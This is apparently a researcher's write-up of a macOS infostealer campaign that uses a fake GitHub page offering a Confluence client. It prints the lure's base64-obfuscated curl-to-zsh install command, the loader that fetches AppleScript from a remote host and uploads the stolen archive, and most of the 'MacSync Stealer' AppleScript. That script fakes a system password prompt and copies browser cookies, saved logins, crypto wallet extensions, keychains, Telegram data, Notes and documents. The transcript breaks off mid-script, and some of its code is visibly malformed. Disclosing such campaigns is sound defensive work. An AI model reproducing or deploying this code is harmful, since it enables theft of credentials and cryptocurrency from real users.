Background
A few days ago, while searching for the Confluence macOS client, I unexpectedly discovered this ‘gift’ program. I found the entry point directly via a Google Search. The perpetrators primarily leveraged users’ trust in GitHub, guiding them to copy and execute a download and installation script locally. I found many interesting aspects in this process, so I decided to write it down.
“Download from Github”
Firstly, Confluence does not have an official client, at least not for macOS. The intersection of Confluence users and GitHub users is also significant. The entry page was directly hosted on GitHub. The page structure suggested it was an Organization with only a .github repository, making the page directly visible to users through its README.md.

When a user clicks Get XXX Github, the page redirects and leaves github.com, displaying a h1 title: Download for macOS. This is where I noticed something wrong. If I weren’t so familiar with GitHub, I wouldn’t have even looked at the domain name of the page, as GitHub does not offer such a download service page. A minor flaw here is that typical GitHub newbies likely use the light theme, but the redirected download page is surprisingly dark. It’s evident that github.com cookies are not easily accessible from a static webpage.

“Install”
From this step, it guides users to execute shell scripts, even including a friendly prompt. Many macOS apps are indeed installed via the command line, which adds a layer of perceived trustworthiness. The script is as follows:
echo "GitHub-AppInstaller: https://dl.github.com/drive-file-stream/GitHubApplicationSetup.dmg" && curl -kfsSL $(echo 'aHR0cDovL3Vyc2FtYWRlLmZ1bi9jdXJsLzc5ZmJlMmU0Y2NjZWRkYTk5MjA0ZWVlZWFiMWY0Y2I5M2ZmODFjMWQwOGYyZjI4ZGZiMWRiODBjMTg3ZTFkNDM='|base64 -D)|zsh
The preceding echo command is likely a decoy, intended to mislead users into believing they are downloading from dl.github.com, a domain that doesn’t actually exist. It might also serve to obscure the actual malicious script within a single line. The crucial part is the nested curl command that follows. This method, which I considered years ago, is not particularly sophisticated but is a classic technique. The base64 decoding invariably yields a URL, and its content is as follows:
#!/bin/zsh
d21034=$(base64 -d <<'PAYLOAD_m225981802623671' | gunzip
H4sIAGCEKGkAA+VUUW/TMBB+7684vGpqJZLYSdq0HWWbkGBoVEPqEJMAVY59bq06TpS40A3474S2
6rLSJ56QuCfrvvPnu++75ORZkGobPFSLluSY5XamVlY4ndtOF763oA5co4AXgcSvgV0Z85h7eSQX
HiRNLrgBmWdc2zFZlRXPuES/foQ0cJcvsYaToUoxxFgIgVLy4TCkMdbBU6ZikQ4jpQZMMEkHKlTh
QKqUyXRABRskyGQcNSl5oWdLvB+THhtSVCyJIjaIOJWiH6m0H0ZRL1G9vuxvL2kFn6B9At7cAYUv
Z+AWaDfI7xCr0oC3BK8Cz8v42nM6Q4goeFdAPlRYepdztG4Ek/xBG8ODnk+hM+FCW5dXizN4ax0a
qBNwM4U7YHTGerOkC5dFYfAjptfaBb0o8aM+dK6vbifvnoPRS4Q3KJZ5F14tyjzDYMh86sdxEvqM
xTDlipd6d41sWqmH9uqhR9DejU+ALJwrRkHQ3noQyHvLMy3O3VqO2xvdT4tv9ZER+AF5xStR6sJt
DTUV/h8S/Dm70o21OAfP4pG1wLV2wJr1e5Xu4P3N9BY+72v/JZ0Oujoi2UGFMCOgT7PNHaBPkNdA
lDY4vghcVgS1rCafz7Wd+w+6IIeV6Uob2TSigR/6NucOyV/ZUmbgKTjST+tnq+Y6+PMBaV8QOH0k
3RDS1v572D1Qk/8CRXrC9j8FAAA=
PAYLOAD_m225981802623671
)
# eval "$d21034"
echo $d21034
The main event begins: it further encapsulates the core script using base64 and adds gunzip, indicating a degree of penetration testing sophistication. Let’s continue to unpack it:
#!/bin/zsh
daemon_function() {
exec </dev/null
exec >/dev/null
exec 2>/dev/null
local domain="ursamade.fun"
local token="79fbe2e4cccedda99204eeeeab1f4cb93ff81c1d08f2f28dfb1db80c187e1d43"
local api_key="5190ef1733183a0dc63fb623357f56d6"
if [ $# -gt 0 ]; then
curl -k -s --max-time 30 \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" \
-H "api-key: $api_key" \
"http://$domain/dynamic?txd=$token&pwd=$1" | osascript
else
curl -k -s --max-time 30 \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" \
-H "api-key: $api_key" \
"http://$domain/dynamic?txd=$token" | osascript
fi
if [ $? -ne 0 ]; then
exit 1
fi
curl -k -X POST \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" \
-H "api-key: $api_key" \
-H "cl: 0" \
--max-time 300 \
-F "file=@/tmp/osalogging.zip" \
-F "buildtxd=$token" \
"http://$domain/gate"
if [ $? -ne 0 ]; then
exit 1
fi
rm -f /tmp/osalogging.zip
}
if daemon_function "$@" & then
exit 0
else
exit 1
fi
Finally, the core program script has been discovered. It utilizes AppleScript, an Apple native language, which is reasonable for macOS and more robust than shell scripting. Unpacking further:
on filesizer(paths)
set fsz to 0
try
set theItem to quoted form of POSIX path of paths
set fsz to (do shell script "/usr/bin/mdls -name kMDItemFSSize -raw " & theItem)
end try
return fsz
end filesizer
on mkdir(someItem)
try
set filePosixPath to quoted form of (POSIX path of someItem)
do shell script "mkdir -p " & filePosixPath
end try
end mkdir
on FileName(filePath)
try
set reversedPath to (reverse of every character of filePath) as string
set trimmedPath to text 1 thru ((offset of "/" in reversedPath) - 1) of reversedPath
set finalPath to (reverse of every character of trimmedPath) as string
return finalPath
end try
end FileName
on BeforeFileName(filePath)
try
set lastSlash to offset of "/" in (reverse of every character of filePath) as string
set trimmedPath to text 1 thru -(lastSlash + 1) of filePath
return trimmedPath
end try
end BeforeFileName
on writeText(textToWrite, filePath)
try
set folderPath to BeforeFileName(filePath)
mkdir(folderPath)
set fileRef to (open for access filePath with write permission)
write textToWrite to fileRef starting at eof
close access fileRef
end try
end writeText
on readwrite(path_to_file, path_as_save)
try
set fileContent to read path_to_file
set folderPath to BeforeFileName(path_as_save)
mkdir(folderPath)
do shell script "cat " & quoted form of path_to_file & " > " & quoted form of path_as_save
end try
end readwrite
on isDirectory(someItem)
try
set filePosixPath to quoted form of (POSIX path of someItem)
set fileType to (do shell script "file -b " & filePosixPath)
if fileType ends with "directory" then
return true
end if
return false
end try
end isDirectory
on GrabFolderLimit(sourceFolder, destinationFolder)
try
set bankSize to 0
set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews"}
set fileList to list folder sourceFolder without invisibles
mkdir(destinationFolder)
repeat with currentItem in fileList
if currentItem is not in exceptionsList then
set itemPath to sourceFolder & "/" & currentItem
set savePath to destinationFolder & "/" & currentItem
if isDirectory(itemPath) then
GrabFolderLimit(itemPath, savePath)
else
set fsz to filesizer(itemPath)
set bankSize to bankSize + fsz
if bankSize < 100 * 1024 * 1024 then
readwrite(itemPath, savePath)
end if
end if
end if
end repeat
end try
end GrabFolderLimit
on GrabFolder(sourceFolder, destinationFolder)
try
set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews", "dumps", "emoji", "user_data", "__update__"}
set fileList to list folder sourceFolder without invisibles
mkdir(destinationFolder)
repeat with currentItem in fileList
if currentItem is not in exceptionsList then
set itemPath to sourceFolder & "/" & currentItem
set savePath to destinationFolder & "/" & currentItem
if isDirectory(itemPath) then
GrabFolder(itemPath, savePath)
else
readwrite(itemPath, savePath)
end if
end if
end repeat
end try
end GrabFolder
on checkvalid(username, password_entered)
try
set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_entered
if result is not equal to "" then
return false
else
return true
end if
on error
return false
end try
end checkvalid
on getpwd(username, writemind, provided_password)
try
if provided_password is not equal to "" then
if checkvalid(username, provided_password) then
writeText(provided_password, writemind & "Password")
return provided_password
end if
end if
if checkvalid(username, "") then
set result to do shell script "security 2>&1 > /dev/null find-generic-password -ga \"Chrome\" | awk \"{print $2}\""
writeText(result as string, writemind & "masterpass-chrome")
return ""
else
repeat
set imagePath to "/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/LockedIcon.icns" as POSIX file
set result to display dialog "Required Application Helper. Please enter password for continue." default answer "" with icon imagePath buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer
set password_entered to text returned of result
if checkvalid(username, password_entered) then
writeText(password_entered, writemind & "Password")
return password_entered
end if
end repeat
end if
end try
return ""
end getpwd
on grabPlugins(paths, savePath, pluginList, index)
try
set fileList to list folder paths without invisibles
repeat with PFile in fileList
repeat with Plugin in pluginList
if (PFile contains Plugin) then
set newpath to paths & PFile
set newsavepath to savePath & "/" & Plugin
if index then
set newsavepath to savePath & "/IndexedDB/" & PFile
end if
GrabFolder(newpath, newsavepath)
end if
end repeat
end repeat
end try
end grabPlugins
on Chromium(writemind, chromium_map)
set pluginList to {}
set pluginList to pluginList & {"eiaeiblijfjekdanodkjadfinkhbfgcd", "aeblfdkhhhdcdjpifhhbdiojplfjncoa"}
set pluginList to pluginList & {"bfogiafebfohielmmehodmfbbebbbpei", "nngceckbapebfimnlniiiahkandclblb"}
set pluginList to pluginList & {"fdjamakpfbbddfjaooikfcpapjohcfmg", "hdokiejnpimakedhajhdlcegeplioahd"}
set pluginList to pluginList & {"pnlccmojcmeohlpggmfnbbiapkmbliob", "ghmbeldphafepmbegfdlkpapadhbakde"}
set pluginList to pluginList & {"kmcfomidfpdkfieipokbalgegidffkal", "bnfdmghkeppfadphbnkjcicejfepnbfe"}
set pluginList to pluginList & {"caljgklbbfbcjjanaijlacgncafpegll", "folnjigffmbjmcjgmbbfcpleeddaedal"}
set pluginList to pluginList & {"igkpcodhieompeloncfnbekccinhapdb", "admmjipmmciaobhojoghlmleefbicajg"}
set pluginList to pluginList & {"ehpbfbahieociaeckccnklpdcmfaeegd", "epanfjkfahimkgomnigadpkobaefekcd"}
set pluginList to pluginList & {"didegimhafipceonhjepacocaffmoppf", "oboonakemofpalcgghocfoadofidjkkk"}
set pluginList to pluginList & {"jgnfghanfbjmimbdmnjfofnbcgpkbegj", "mmhlniccooihdimnnjhamobppdhaolme"}
set pluginList to pluginList & {"dbfoemgnkgieejfkaddieamagdfepnff", "bhghoamapcdpbohphigoooaddinpkbai"}
set pluginList to pluginList & {"nngceckbapebfimnlniiiahkandclblb", "lojeokmpinkpmpbakfkfpgfhpapbgdnd"}
set pluginList to pluginList & {"ibpjepoimpcdofeoalokgpjafnjonkpc", "gmohoglkppnemohbcgjakmgengkeaphi"}
set pluginList to pluginList & {"hdokiejnpimakedhajhdlcegeplioahd", "oboonakemofpalcgghocfoadofidjkkk"}
set pluginList to pluginList & {"dckgbiealcgdhgjofgcignfngijpbgba", "gmegpkknicehidppoebnmbhndjigpica"}
set pluginList to pluginList & {"eiokpeobbgpinbmcanngjjbklmhlepan", "odfkmgboddhcgopllebhkbjhokpojigd"}
set pluginList to pluginList & {"ppnbnpeolgkicgegkbkbjmhlideopiji", "cejfhijdfemlohmcjknpbeaohedoikpp"}
set pluginList to pluginList & {"nmhjblhloefhbhgbfkdgdpjabaocnhha", "iklgijhacenjgjgdnpnohbafpbmnccek"}
set pluginList to pluginList & {"ppkkcfblhfgmdmefkmkoomenhgecbemi", "lgndjfkadlbpaifdpbbobdodbaiaiakb"}
set pluginList to pluginList & {"bbphmbmmpomfelajledgdkgclfekilei", "bnfooenhhgcnhdkdjelgmmkpaemlnoek"}
set chromiumFiles to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/"}
repeat with chromium in chromium_map
set savePath to writemind & "Browsers/" & item 1 of chromium & "_"
try
set fileList to list folder item 2 of chromium without invisibles
repeat with currentItem in fileList
if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
set profileName to (item 1 of chromium & currentItem)
repeat with CFile in chromiumFiles
set readpath to (item 2 of chromium & currentItem & CFile)
if ((CFile as string) is equal to "/Network/Cookies") then
set CFile to "/Cookies"
end if
if ((CFile as string) is equal to "/Local Extension Settings/") then
grabPlugins(readpath, writemind & "Extensions/" & profileName, pluginList, false)
else if (CFile as string) is equal to "/IndexedDB/" then
grabPlugins(readpath, writemind & "Extensions/" & profileName, pluginList, true)
else
set writepath to savePath & currentItem & CFile
readwrite(readpath, writepath)
end if
end repeat
end if
end repeat
end try
end repeat
end Chromium
on ChromiumWallets(writemind, chromium_map)
set pluginList to {}
set pluginList to pluginList & {"nkbihfbeogaeaoehlefnkodbefgpgknn", "bfnaelmomeimhlpmgjnjophhpkkoljpa"}
set pluginList to pluginList & {"hnfanknocfeofbddgcijnmhnfnkdnaad", "fnjhmkhhmkbjkkabndcnnogagogbneec"}
set pluginList to pluginList & {"acmacodkjbdgmoleebolmdjonilkdbch", "egjidjbpglichdcondbcbdnbeeppgdph"}
set pluginList to pluginList & {"aholpfdialjgjfhomihkjbmgjidlcdno", "fhbohimaelbohpjbbldcngcnapndodjp"}
set pluginList to pluginList & {"pdliaogehgdbhbnmkklieghmmjkpigpa", "mcohilncbfahbmgdjkbpemcciiolgcge"}
set pluginList to pluginList & {"hpglfhgfnhbgpjdenjgmdgoeiappafln", "bhhhlbepdkbapadjdnnojkbgioiodbic"}
set pluginList to pluginList & {"dhgnlgphgchebgoemcjekedjjbifijid", "cjmkndjhnagcfbpiemnkdpomccnjblmj"}
set pluginList to pluginList & {"kamfleanhcmjelnhaeljonilnmjpkcjc", "jnldfbidonfeldmalbflbmlebbipcnle"}
set pluginList to pluginList & {"fdcnegogpncmfejlfnffnofpngdiejii", "klnaejjgbibmhlephnhpmaofohgkpgkd"}
set pluginList to pluginList & {"pdadjkfkgcafgbceimcpbkalnfnepbnk", "kjjebdkfeagdoogagbhepmbimaphnfln"}
set pluginList to pluginList & {"ldinpeekobnhjjdofggfgjlcehhmanlj", "dkdedlpgdmmkkfjabffeganieamfklkm"}
set pluginList to pluginList & {"bcopgchhojmggmffilplmbdicgaihlkp", "kpfchfdkjhcoekhdldggegebfakaaiog"}
set pluginList to pluginList & {"idnnbdplmphpflfnlkomgpfbpcgelopg", "mlhakagmgkmonhdonhkpjeebfphligng"}
set pluginList to pluginList & {"bipdhagncpgaccgdbddmbpcabgjikfkn", "gcbjmdjijjpffkpbgdkaojpmaninaion"}
set pluginList to pluginList & {"nhnkbkgjikgcigadomkphalanndcapjk", "hoighigmnhgkkdaenafgnefkcmipfjon"}
set pluginList to pluginList & {"klghhnkeealcohjjanjjdaeeggmfmlpl", "ebfidpplhabeedpnhjnobghokpiioolj"}
set pluginList to pluginList & {"emeeapjkbcbpbpgaagfchmcgglmebnen", "fldfpgipfncgndfolcbkdeeknbbbnhcc"}
set pluginList to pluginList & {"penjlddjkjgpnkllboccdgccekpkcbin", "fhilaheimglignddkjgofkcbgekhenbh"}
set pluginList to pluginList & {"hmeobnfnfcmdkdcmlblgagmfpfboieaf", "cihmoadaighcejopammfbmddcmdekcje"}
set pluginList to pluginList & {"lodccjjbdhfakaekdiahmedfbieldgik", "omaabbefbmiijedngplfjmnooppbclkk"}
set pluginList to pluginList & {"cjelfplplebdjjenllpjcblmjkfcffne", "jnlgamecbpmbajjfhmmmlhejkemejdma"}
set pluginList to pluginList & {"fpkhgmpbidmiogeglndfbkegfdlnajnf", "bifidjkcdpgfnlbcjpdkdcnbiooooblg"}
set pluginList to pluginList & {"amkmjjmmflddogmhpjloimipbofnfjih", "flpiciilemghbmfalicajoolhkkenfel"}
set pluginList to pluginList & {"hcflpincpppdclinealmandijcmnkbgn", "aeachknmefphepccionboohckonoeemg"}
set pluginList to pluginList & {"dmkamcknogkgcdfhhbddcghachkejeap", "aiifbnbfobpmeekipheeijimdpnlpgpp"}
set pluginList to pluginList & {"lnlgggpeobikjajknobcafelknhagpfm", "jbcaagbdccncfmcfnphlekhiaagjilbp"}
set pluginList to pluginList & {"ehgjhhccekdedpbkifaojjaefeohnoea", "ppfnhnehhnhjgfndmknocbhgbljcgmea"}
set pluginList to pluginList & {"gpmfggmaefiofejoiglokkbmcabngnka", "dhdhgefhfkkagfapgllgbbpbfnjghkdi"}
set pluginList to pluginList & {"bfniaeljhklfpbciicfjhnmecmbmncbo", "okgnlkmgijhkjlabfeemfnlbpdndljdm"}
set pluginList to pluginList & {"ljjemllljcmogpfapbubnnojmmbbggf", "copjnifcecdedocejpaapepagaodgpbh"}
set pluginList to pluginList & {"afcbpolkjjifpndjmojheojacmjjbgfp", "jbkboiepncdkhmbjpmemdfnogpijndap"}
set pluginList to pluginList & {"fplfipjdepjmojcaedddfhokfgmicmji", "nknhiehlklippafakaeklbeglecifhad"}
set pluginList to pluginList & {"aodkkagnadcbobfpggfnjeongemkkdgm", "kpfopkelmapcoipemfendmdcghnegimn"}
set pluginList to pluginList & {"ejbalbakoplchlghecdalmeeeajnimhm", "nphplpgoakhhjchkkhmiggakijnkhfnd"}
set pluginList to pluginList & {"ibnejdfjmmkpcnlpebklmnkoeoihofec", "afbcbjpbpfadlkmhmclhkeeodmamcflc"}
set pluginList to pluginList & {"kncchdigobghenbbaddojjnnaogfppfj", "mffceckpccgohnppegbjdpjmdidjodp"}
set pluginList to pluginList & {"fgponpdgajpkhjgnkkklccfpaadjhoc", "odbfpjdcjpehhgkohdmakcjedjhbjbg"}
set pluginList to pluginList & {"bkplohnglpbpapbajoffdjhnnjphjgle", "fhjgpjldicfllimjkedjopomkikgknf"}
set pluginList to pluginList & {"aebnfegckjigfecbpkckfegkngdoliho", "pdmbefknhfijgngjfjppgmdplfghjle"}
set pluginList to pluginList & {"kpfpkpfonmhbhkjfpnplgpmflggkccfb", "fhqjmahafnnglkojfoinoepfgaoapdjh"}
set pluginList to pluginList & {"aejoikjclgjdjehpmhbfkkiojgpdcghk", "ejjladinnckdgjemekebdpeokbikhfci"}
set pluginList to pluginList & {"phkbamefinggmakgklpkljjmgibohnba", "epapihdplajcdnnkdeiahlgigofloibg"}
set pluginList to pluginList & {"hpclkefagolihohboafpheddmmgdffjm", "cjookpbkjnpkmknedggeecikaponcalb"}
set pluginList to pluginList & {"cpmkedoipcpimgecpmgpldfpohjplkpp", "modjfdjcodmehnpccdjngmdfajggaoeh"}
set pluginList to pluginList & {"ibnejdfjmmkpcnlpebklmnkoeoihofec", "afbcbjpbpfadlkmhmclhkeeodmamcflc"}
set pluginList to pluginList & {"kncchdigobghenbbaddojjnnaogfppfj", "efbglgofoippbgcjepnhiblaibcnclgk"}
set pluginList to pluginList & {"mcbigmjiafegjnnogedioegffbooigli", "fccgmnglbhajioalokbcidhcaikhlcpm"}
set pluginList to pluginList & {"hnhobjmcibchnmglfbldbfabcgaknlkj", "apnehcjmnengpnmccpaibjmhhoadaico"}
set pluginList to pluginList & {"enabgbdfcbaehmbigakijjabdpdnimlg", "mgffkfbidihjpoaomajlbgchddlicgpn"}
set pluginList to pluginList & {"fopmedgnkfpebgllppeddmmochcookhc", "jojhfeoedkpkglbfimdfabpdfjaoolaf"}
set pluginList to pluginList & {"ammjlinfekkoockogfhdkgcohjlbhmff", "abkahkcbhngaebpcgfmhkoioedceoigp"}
set pluginList to pluginList & {"dcbjpgbkjoomeenajdabiicabjljlnfp", "gkeelndblnomfmjnophbhfhcjbcnemka"}
set pluginList to pluginList & {"pnndplcbkakcplkjnolgbkdgjikjednm", "copjnifcecdedocejpaapepagaodgpbh"}
set pluginList to pluginList & {"hgbeiipamcgbdjhfflifkgehomnmglgk", "mkchoaaiifodcflmbaphdgeidocajadp"}
set pluginList to pluginList & {"ellkdbaphhldpeajbepobaecooaoafpg", "mdnaglckomeedfbogeajfajofmfgpoae"}
set pluginList to pluginList & {"nknhiehlklippafakaeklbeglecifhad", "ckklhkaabbmdjkahiaaplikpdddkenic"}
set pluginList to pluginList & {"fmblappgoiilbgafhjklehhfifbdocee", "nphplpgoakhhjchkkhmiggakijnkhfnd"}
set pluginList to pluginList & {"cnmamaachppnkjgnildpdmkaakejnhae", "fijngjgcjhjmmpcmkeiomlglpeiijkld"}
set pluginList to pluginList & {"niiaamnmgebpeejeemoifgdndgeaekhe", "odpnjmimokcmjgojhnhfcnalnegdjmdn"}
set pluginList to pluginList & {"lbjapbcmmceacocpimbpbidpgmlmoaao", "hnfanknocfeofbddgcijnmhnfnkdnaad"}
set pluginList to pluginList & {"hpglfhgfnhbgpjdenjgmdgoeiappafln", "egjidjbpglichdcondbcbdnbeeppgdph"}
set pluginList to pluginList & {"ibljocddagjghmlpgihahamcghfggcjc", "gkodhkbmiflnmkipcmlhhgadebbeijhh"}
set pluginList to pluginList & {"dbgnhckhnppddckangcjbkjnlddbjkna", "mfhbebgoclkghebffdldpobeajmbecfk"}
set pluginList to pluginList & {"nlbmnnijcnlegkjjpcfjclmcfggfefdm", "nlgbhdfgdhgbiamfdfmbikcdghidoadd"}
set pluginList to pluginList & {"acmacodkjbdgmoleebolmdjonilkdbch", "agoakfejjabomempkjlepdflaleeobhb"}
set pluginList to pluginList & {"dgiehkgfknklegdhekgeabnhgfjhbajd", "onhogfjeacnfoofkfgppdlbmlmnplgbn"}
set pluginList to pluginList & {"kkpehldckknjffeakihjajcjccmcjflh", "jaooiolkmfcmloonphpiiogkfckgciom"}
set pluginList to pluginList & {"ojggmchlghnjlapmfbnjholfjkiidbch", "pmmnimefaichbcnbndcfpaagbepnjaig"}
set pluginList to pluginList & {"oiohdnannmknmdlddkdejbmplhbdcbee", "aiifbnbfobpmeekipheeijimdpnlpgpp"}
set pluginList to pluginList & {"aholpfdialjgjfhomihkjbmgjidlcdno", "anokgmphncpekkhclmingpimjmcooifb"}
set pluginList to pluginList & {"kkpllkodjeloidieedojogacfhpaihoh", "iokeahhehimjnekafflcihljlcjccdbe"}
set pluginList to pluginList & {"ifckdpamphokdglkkdomedpdegcjhjdp", "loinekcabhlmhjjbocijdoimmejangoa"}
set pluginList to pluginList & {"fcfcfllfndlomdhbehjjcoimbgofdncg", "ifclboecfhkjbpmhgehodcjpciihhmif"}
set pluginList to pluginList & {"dmkamcknogkgcdfhhbddcghachkejeap", "ookjlbkiijinhpmnjffcofjonbfbgaoc"}
set pluginList to pluginList & {"oafedfoadhdjjcipmcbecikgokpaphjk", "mapbhaebnddapnmifbbkgeedkeplgjmf"}
set pluginList to pluginList & {"cmndjbecilbocjfkibfbifhngkdmjgog", "kpfopkelmapcoipemfendmdcghnegimn"}
set pluginList to pluginList & {"lgmpcpglpngdoalbgeoldeajfclnhafa", "ppbibelpcjmhbdihakflkdcoccbgbkpo"}
set pluginList to pluginList & {"ffnbelfdoeiohenkjibnmadjiehjhajb", "opcgpfmipidbgpenhmajoajpbobppdil"}
set pluginList to pluginList & {"lakggbcodlaclcbbbepmkpdhbcomcgkd", "kgdijkcfiglijhaglibaidbipiejjfdp"}
set pluginList to pluginList & {"hdkobeeifhdplocklknbnejdelgagbao", "lnnnmfcpbkafcpgdilckhmhbkkbpkmid"}
set pluginList to pluginList & {"nbdhibgjnjpnkajaghbffjbkcgljfgdi", "kmhcihpebfmpgmihbkipmjlmmioameka"}
set pluginList to pluginList & {"kmphdnilpmdejikjdnlbcnmnabepfgkh"}
set pluginList to pluginList & {"aejoikjclgjdjehpmhbfkkiojgpdcghk", "pdmbefknhfijgngjfjppgmdplfghjle"}
set pluginList to pluginList & {"kpfpkpfonmhbhkjfpnplgpmflggkccfb", "fhqjmahafnnglkojfoinoepfgaoapdjh"}
set chromiumFiles to {"/Local Extension Settings/", "/IndexedDB/"}
repeat with chromium in chromium_map
try
set fileList to list folder item 2 of chromium without invisibles
repeat with currentItem in fileList
if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
set profileName to (item 1 of chromium & currentItem)
repeat with CFile in chromiumFiles
set readpath to (item 2 of chromium & currentItem & CFile)
if ((CFile as string) is equal to "/Local Extension Settings/") then
grabPlugins(readpath, writemind & "Wallets/Web/" & profileName, pluginList, false)
else if (CFile as string) is equal to "/IndexedDB/" then
grabPlugins(readpath, writemind & "Wallets/Web/" & profileName, pluginList, true)
else
set writepath to savePath & currentItem & CFile
readwrite(readpath, writepath)
end if
end repeat
end if
end repeat
end try
end repeat
end Chromium
on Telegram(writemind, library)
try
GrabFolder(library & "Telegram Desktop/tdata/", writemind & "Telegram Desktop/")
end try
end Telegram
on Keychains(writemind)
try
do shell script "cp ~/Library/Keychains/*.keychain-db " & quoted form of (POSIX path of writemind)
end try
end Keychains
on DesktopWallets(writemind, deskwals)
repeat with deskwal in deskwals
try
GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal)
end try
end repeat
end DesktopWallets
on Filegrabber(writemind)
try
set destinationFolderPath to POSIX file (writemind & "FileGrabber/")
mkdir(destinationFolderPath)
set destinationSafariPath to POSIX file (writemind & "Safari/")
mkdir(destinationSafariPath)
set destinationNotesPath to POSIX file (writemind & "Notes/")
mkdir(destinationNotesPath)
set extensionsList to {"pdf", "docx", "doc", "wallet", "key", "keys", "db", "txt", "seed", "rtf", "kdbx"}
set bankSize to 0
set fileCounter to 1
tell application "Finder"
try
duplicate file ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:Cookies.binarycookies") to folder (destinationSafariPath) with replacing
end try
try
set notesDB to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"
set dbFiles to {"NoteStore.sqlite", "NoteStore.sqlite-shm", "NoteStore.sqlite-wal"}
repeat with dbFile in dbFiles
try
duplicate (file dbFile of folder notesDB) to folder (destinationNotesPath) with replacing
end try
end repeat
end try
try
set desktopFiles to every file of desktop
set documentsFiles to every file of folder "Documents" of (path to home folder)
set downloadsFiles to every file of folder "Downloads" of (path to home folder)
repeat with aFile in (desktopFiles & documentsFiles & downloadsFiles)
set fileExtension to name extension of aFile
if fileExtension is in extensionsList then
set filesize to size of aFile
if (bankSize + filesize) < 10 * 1024 * 1024 then
try
set newFileName to (fileCounter as string) & "." & fileExtension
duplicate aFile to folder destinationFolderPath with replacing
set destFolderAlias to destinationFolderPath as alias
tell application "Finder"
set copiedFiles to every file of folder destFolderAlias
set lastCopiedFile to item -1 of copiedFiles
set name of lastCopiedFile to newFileName
end tell
set bankSize to bankSize + filesize
set fileCounter to fileCounter + 1
end try
else
exit repeat
end if
end if
end repeat
end try
end tell
end try
end Filegrabber
on FilegrabberFDA(writemind, profile)
set destinationFolderPath to POSIX file (writemind & "FileGrabber/")
mkdir(destinationFolderPath)
try
set sourceFolders to {profile & "/Downloads/", profile & "/Documents/", profile & "/Desktop/"}
set extensionsList to {"pdf", "docx", "doc", "wallet", "key", "keys", "db", "txt", "seed", "rtf", "kdbx"}
repeat with src in sourceFolders
repeat with ext in extensionsList
try
set shellCmd to "find " & quoted form of (POSIX path of src) & " -maxdepth 1 -type f -iname '*." & ext & "' -print0 | xargs -0 -J% cp -vp % " & quoted form of (POSIX path of destinationFolderPath)
do shell script shellCmd
end try
end repeat
end repeat
end try
try
readwrite(profile & "/Library/Cookies/Cookies.binarycookies", writemind & "Safari/Cookies.binarycookies")
readwrite(profile & "/Library/Safari/Form Values", writemind & "Safari/Autofill")
readwrite(profile & "/Library/Safari/History.db", writemind & "Safari/History.db")
end try
try
readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite", writemind & "Notes/NoteStore.sqlite")
readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm", writemind & "Notes/NoteStore.sqlite-shm")
readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal", writemind & "Notes/NoteStore.sqlite-wal")
end try
end Filegrabber
try
do shell script "killall Terminal"
end try
set username to (system attribute "USER")
set profile to "/Users/" & username
set randomNumber to do shell script "echo $((RANDOM % 9000000 + 1000000))"
set writemind to "/tmp/sync" & randomNumber & "/"
set library to profile & "/Library/Application Support/"
set password_entered to getpwd(username, writemind, "")
delay 0.01
set chromiumMap to {}
set chromiumMap to chromiumMap & Yandex
set chromiumMap to chromiumMap & Chrome
set chromiumMap to chromiumMap & Brave
set chromiumMap to chromiumMap & Edge
set chromiumMap to chromiumMap & Vivaldi
set chromiumMap to chromiumMap & Opera
set chromiumMap to chromiumMap & OperaGX
set chromiumMap to chromiumMap & Chrome Beta
set chromiumMap to chromiumMap & Chrome Canary
set chromiumMap to chromiumMap & Chromium
set chromiumMap to chromiumMap & Chrome Dev
set chromiumMap to chromiumMap & Arc
set chromiumMap to chromiumMap & Coccoc
set walletMap to {}
set walletMap to walletMap & Wallets/Desktop/Exodus
set walletMap to walletMap & Wallets/Desktop/Electrum
set walletMap to walletMap & Wallets/Desktop/Atomic
set walletMap to walletMap & Wallets/Desktop/Guarda
set walletMap to walletMap & Wallets/Desktop/Coinomi
set walletMap to walletMap & Wallets/Desktop/Sparrow
set walletMap to walletMap & Wallets/Desktop/Wasabi
set walletMap to walletMap & Wallets/Desktop/Bitcoin_Core
set walletMap to walletMap & Wallets/Desktop/Armory
set walletMap to walletMap & Wallets/Desktop/Electron_Cash
set walletMap to walletMap & Wallets/Desktop/Monero
set walletMap to walletMap & Wallets/Desktop/Litecoin_Core
set walletMap to walletMap & Wallets/Desktop/Dash_Core
set walletMap to walletMap & Wallets/Desktop/Dogecoin_Core
set walletMap to walletMap & Wallets/Desktop/Electrum_LTC
set walletMap to walletMap & Wallets/Desktop/BlueWallet
set walletMap to walletMap & Wallets/Desktop/Zengo
set walletMap to walletMap & Wallets/Desktop/Trust
set walletMap to walletMap & Wallets/Desktop/Ledger Live
set walletMap to walletMap & Wallets/Desktop/Trezor Suite
readwrite(library & "Binance/", writemind & "Wallets/Desktop/Binance/")
readwrite(library & "TON Keeper/", writemind & "Wallets/Desktop/TonKeeper/")
#readwrite(profile & "/Library/Keychains/login.keychain-db", writemind & "login.keychain-db")
writeText(username, writemind & "Username")
writeText("1.0.9_release (x64_86 & ARM)", writemind & "Version")
try
writeText("MacSync Stealer\n\n", writemind & "info")
